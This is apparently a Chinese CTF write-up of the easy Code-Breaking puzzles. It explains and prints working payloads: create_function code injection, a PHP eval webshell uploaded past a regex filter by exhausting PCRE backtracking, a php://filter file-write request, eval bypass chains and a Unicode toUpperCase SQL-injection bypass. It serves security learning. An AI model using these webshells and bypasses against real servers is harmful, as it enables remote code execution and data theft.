代码审计知识星球二周年,P牛出了几道质量相当贼很高的题目,个人实力比较菜,这里记录一哈复现收获,当然也欢迎加入【代码审计】知识星球,一起进步。
介绍具体可以看这里。
题目链接
https://code-breaking.com/#promo-block
题目考点
1.function PHP函数利用技巧(create_function)
2.pcrewaf PHP正则特性
3.phpmagic PHP写文件技巧
4.phplimit PHP代码执行限制绕过
5.nodechr Javascript字符串特性
6.javacon SPEL表达式沙盒绕过
7.lumenserial 反序列化在7.2下的利用
8.picklecode Python反序列化沙盒绕过
9.thejs Javascript对象特性利用
easy - function
提交:114, 正确:90
等级:easy
所有代码都在题目中。
puzzle url: http://51.158.75.42:8087/
题目环境
Apache/2.4.25 (Debian)
PHP/7.2.12
<?php
$action = $_GET['action'] ?? '';
$arg = $_GET['arg'] ?? '';
if(preg_match('/^[a-z0-9_]*$/isD', $action)) {
show_source(__FILE__); //如果action只是由a-z0-9_组成的,则显示源码
} else {
$action('', $arg); //题目意思是将action当作方法,arg为传入的参数执行。
}
p牛在圈中针对这到题如下叙述
code-breaking puzzles第一题,function,为什么函数前面可以加一个%5c?奇技淫巧
其实简单的不行,php里默认命名空间是\,所有原生函数和类都在这个命名空间中。普通调用一个函数,如果直接写函数名function_name()调用,调用的时候其实相当于写了一个相对路径;而如果写\function_name() 这样调用函数,则其实是写了一个绝对路径。
如果你在其他namespace里调用系统类,就必须写绝对路径这种写法。
这里感觉和tp框架的命名开头声明类似
参考wp之后这里利用了create_function函数,详细情况可以参考这里
create_function('$a',$str2);
这里其实就是将获取到的$a以字符串的形式拼接到了php代码中,这里与eval这个函数类似。
然后照猫化虎制作如下paylaod
http://51.158.75.42:8087/?action=\create_function&arg=2;}phpinfo();/*
至于action=\create_function,P神前面已经解释的很清晰了,命名空间问题,而且这里正好可以绕过preg,剩下就很简单了。
直接丢几个paylaod
http://51.158.75.42:8087/?action=\create_function&arg=2;}print_r(scandir('../'));/*
http://51.158.75.42:8087/?action=\create_function&arg=2;}print_r(file_get_contents('../flag_h0w2execute_arb1trary_c0de'));/*
easy - pcrewaf
提交:73, 正确:52
难度:easy
所有代码都在URL里。
URL: http://51.158.75.42:8088/
题目环境
Apache/2.4.25 (Debian)
PHP/7.1.24
<?php
function is_php($data){
return preg_match('/<\?.*[(`;?>].*/is', $data);
}
if(empty($_FILES)) {
die(show_source(__FILE__));
}
$user_dir = 'data/' . md5($_SERVER['REMOTE_ADDR']);
$data = file_get_contents($_FILES['file']['tmp_name']);
if (is_php($data)) {
echo "bad request";
} else {
@mkdir($user_dir, 0755);
$path = $user_dir . '/' . random_int(0, 10) . '.php';
move_uploaded_file($_FILES['file']['tmp_name'], $path);
header("Location: $path", true, 303);
} 1
这道题的难点就在于
if (is_php($data)) {
echo "bad request";
} //验证包含了所有正常的php代码
preg_match的绕过可以参考这里
import requests
from io import BytesIO
files = {
'file': BytesIO(b'aaa<?php eval($_POST[txt]);//' + b'a' * 1000000)
}
res = requests.post('http://51.158.75.42:8088/index.php', files=files, allow_redirects=False)
print(res.headers)
http://51.158.75.42:8088/data/62926ad520796d62d12812369d2908fb/9.php?a=print_r(scandir('../../../'));
http://51.158.75.42:8088/data/62926ad520796d62d12812369d2908fb/9.php?a=var_dump(file_get_contents('../../../flag_php7_2_1s_c0rrect'));
这道题可以说收获很大,也是第一次意识到如此preg_replace不安全
easy - phpmagic
提交:30, 正确:25
难度:easy
源码:http://51.158.75.42:8082/index.php?read-source=1
URL: http://51.158.75.42:8082/
Apache/2.4.10 (Debian)
PHP/5.6.33
<?php
define('DATA_DIR', dirname(__FILE__) . '/data/' . md5($_SERVER['REMOTE_ADDR']));
if(!is_dir(DATA_DIR)) {
mkdir(DATA_DIR, 0755, true);
}
chdir(DATA_DIR);
$domain = isset($_POST['domain']) ? $_POST['domain'] : '';
$log_name = isset($_POST['log']) ? $_POST['log'] : date('-Y-m-d');
?>
<?php
if(!empty($_POST) && $domain):
$command = sprintf("dig -t A -q %s", escapeshellarg($domain));
$output = shell_exec($command);
$output = htmlspecialchars($output, ENT_HTML401 | ENT_QUOTES);
$log_name = $_SERVER['SERVER_NAME'] . $log_name;
if(!in_array(pathinfo($log_name, PATHINFO_EXTENSION), ['php', 'php3', 'php4', 'php5', 'phtml', 'pht'], true)) {
file_put_contents($log_name, $output);
}
echo $output;
endif;
?>
这里php后缀使用php/.绕过,php在处理路径的时候,会递归的删除掉路径中存在的/.
另外file_put_contents可以参考这里
base64解码是4位4位一组,如果base64编码不是4的倍数,就可以在/*后随便添加点fuzz字符补齐就好。
至于$_SERVER['SERVER_NAME']的伪造,这里直接就是传递的Host
最后的POC
POST / HTTP/1.1
Host: php
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:56.0) Gecko/20100101 Firefox/56.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 126
Referer: http://51.158.75.42:8082/
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1
domain=PD89YG5sIC4uLy4uLy4uL2ZsYWdfcGhwbWFnMWNfdXIxYDsvKipzZGRk&log=://filter/write/convert.base64-decode/resource=test4.php/.
群里还有一种讨论方法是apache的php%0a绕过。
easy - phplimit
提交:41, 正确:40
难度:easy
所有代码都在页面中。
URL:http://51.158.75.42:8084/
nginx/1.15.6
PHP/5.6.38
<?php
if(';' === preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['code'])) {
eval($_GET['code']);
} else {
show_source(__FILE__);
}
代码很短,这里会把code最内括号内的内容替换为空,利用难度还是很大的,这里分析一哈师傅们的奇淫技巧。
session_id
GET /?code=eval(hex2bin(session_id(session_start())));
PHPSESSID=7072696e745f722866696c655f6765745f636f6e74656e747328272e2e2f666c61675f7068706279703473732729293b
#print_r(file_get_contents('../flag_phpbyp4ss'));
session_id用于获取PHPSESSID的值
session_start()为使用当前cookie中的会话
hex2bin则将16进制转换为二进制,根据手册,只是换了一种存储方式,解决编码转换问题,本质没有变换。
get_defined_vars
http://51.158.75.42:8084/
?code=eval(next(current(get_defined_vars())));
&b=print_r(scandir('../'));print_r(file_get_contents('../flag_phpbyp4ss'));
官方手册描述如下:
array get_defined_vars ( void )
此函数返回一个包含所有已定义变量列表的多维数组,这些变量包括环境变量、服务器变量和用户定义的变量。
这个函数感觉权限很大
current — 返回数组中的当前单元
next() 和 current() 的行为类似,只有一点区别,在返回值之前将内部指针向前移动一位。这意味着它返回的是下一个数组单元的值并将数组指针向前移动了一位。
arrary_reverse&scandir
code=readfile(next(array_reverse(scandir(dirname(chdir(dirname(getcwd())))))));
getcwd — 取得当前工作目录
dirname — 返回路径中的目录部分,给出一个包含有指向一个文件的全路径的字符串,本函数返回去掉文件名后的目录名。
chdir — 改变目录
scandir — 列出指定路径中的文件和目录,返回一个 array,包含有 directory
中的文件和目录。
array_reverse — 返回单元顺序相反的数组,接受数组 array 作为输入并返回一个单元为相反顺序的新数组(只有两个文件)。
类似题目
这到题目与RCTF 2018的r-cursive(apache)类似,环境不同。
easy - nodechr
提交:14, 正确:13
难度:easy
源码:http://51.158.73.123:8085/source
URL: http://51.158.73.123:8085/
// initial libraries
const Koa = require('koa')
const sqlite = require('sqlite')
const fs = require('fs')
const views = require('koa-views')
const Router = require('koa-router')
const send = require('koa-send')
const bodyParser = require('koa-bodyparser')
const session = require('koa-session')
const isString = require('underscore').isString
const basename = require('path').basename
const config = JSON.parse(fs.readFileSync('../config.json', {encoding: 'utf-8', flag: 'r'}))
async function main() {
const app = new Koa()
const router = new Router()
const db = await sqlite.open(':memory:')
await db.exec(`CREATE TABLE "main"."users" (
"id" INTEGER NOT NULL PRIMARY KEY AUTOINCREMENT,
"username" TEXT NOT NULL,
"password" TEXT,
CONSTRAINT "unique_username" UNIQUE ("username")
)`)
await db.exec(`CREATE TABLE "main"."flags" (
"id" INTEGER NOT NULL PRIMARY KEY AUTOINCREMENT,
"flag" TEXT NOT NULL
)`)
for (let user of config.users) {
await db.run(`INSERT INTO "users"("username", "password") VALUES ('${user.username}', '${user.password}')`)
}
await db.run(`INSERT INTO "flags"("flag") VALUES ('${config.flag}')`)
router.all('login', '/login/', login).get('admin', '/', admin).get('static', '/static/:path(.+)', static).get('/source', source)
app.use(views(__dirname + '/views', {
map: {
html: 'underscore'
},
extension: 'html'
})).use(bodyParser()).use(session(app))
app.use(router.routes()).use(router.allowedMethods());
app.keys = config.signed
app.context.db = db
app.context.router = router
app.listen(3000)
}
function safeKeyword(keyword) {
if(isString(keyword) && !keyword.match(/(union|select|;|\-\-)/is)) {
return keyword
}
return undefined
}
async function login(ctx, next) {
if(ctx.method == 'POST') {
let username = safeKeyword(ctx.request.body['username'])
let password = safeKeyword(ctx.request.body['password'])
let jump = ctx.router.url('login')
if (username && password) {
let user = await ctx.db.get(`SELECT * FROM "users" WHERE "username" = '${username.toUpperCase()}' AND "password" = '${password.toUpperCase()}'`)
if (user) {
ctx.session.user = user
jump = ctx.router.url('admin')
}
}
ctx.status = 303
ctx.redirect(jump)
} else {
await ctx.render('index')
}
}
async function static(ctx, next) {
await send(ctx, ctx.path)
}
async function admin(ctx, next) {
if(!ctx.session.user) {
ctx.status = 303
return ctx.redirect(ctx.router.url('login'))
}
await ctx.render('admin', {
'user': ctx.session.user
})
}
async function source(ctx, next) {
await send(ctx, basename(__filename))
}
main()
关键部分为
function safeKeyword(keyword) {
if(isString(keyword) && !keyword.match(/(union|select|;|\-\-)/is)) {
return keyword
}
return undefined
}
async function login(ctx, next) {
if(ctx.method == 'POST') {
let username = safeKeyword(ctx.request.body['username'])
let password = safeKeyword(ctx.request.body['password'])
let jump = ctx.router.url('login')
if (username && password) {
let user = await ctx.db.get(`SELECT * FROM "users" WHERE "username" = '${username.toUpperCase()}' AND "password" = '${password.toUpperCase()}'`)
......
}
这里先进行safe,在进行toUpperCase()。
当然,关键点就在于toUpperCase(),这里可以参考这篇文章,同时也给出了fuzz的方法
"ı".toUpperCase() == 'I'
"ſ".toUpperCase() == 'S'
之后就是很简单的sql注入了。
类似的题目
在刚刚过去的HCTF中admin题目,可以参考这里
感悟
作为一个萌新,学到了很多东西,也学到了好多骚操作。做安全还是应该沉下心来,这里只记录了easy的题目,如果有理解不到位的地方,也非常欢迎指出,共同交流进步。
参考
http://blog.51cto.com/lovexm/1743442
https://www.leavesongs.com/PENETRATION/use-pcre-backtrack-limit-to-bypass-restrict.html
https://www.leavesongs.com/PENETRATION/php-filter-magic.html
https://www.leavesongs.com/HTML/javascript-up-low-ercase-tip.html
https://www.kingkk.com/2018/11/Code-Breaking-Puzzles-%E9%A2%98%E8%A7%A3-%E5%AD%A6%E4%B9%A0%E7%AF%87/#nodechr
https://www.cnblogs.com/iamstudy/articles/code_breaking_writeup.html
http://f1sh.site/2018/11/25/code-breaking-puzzles%E5%81%9A%E9%A2%98%E8%AE%B0%E5%BD%95/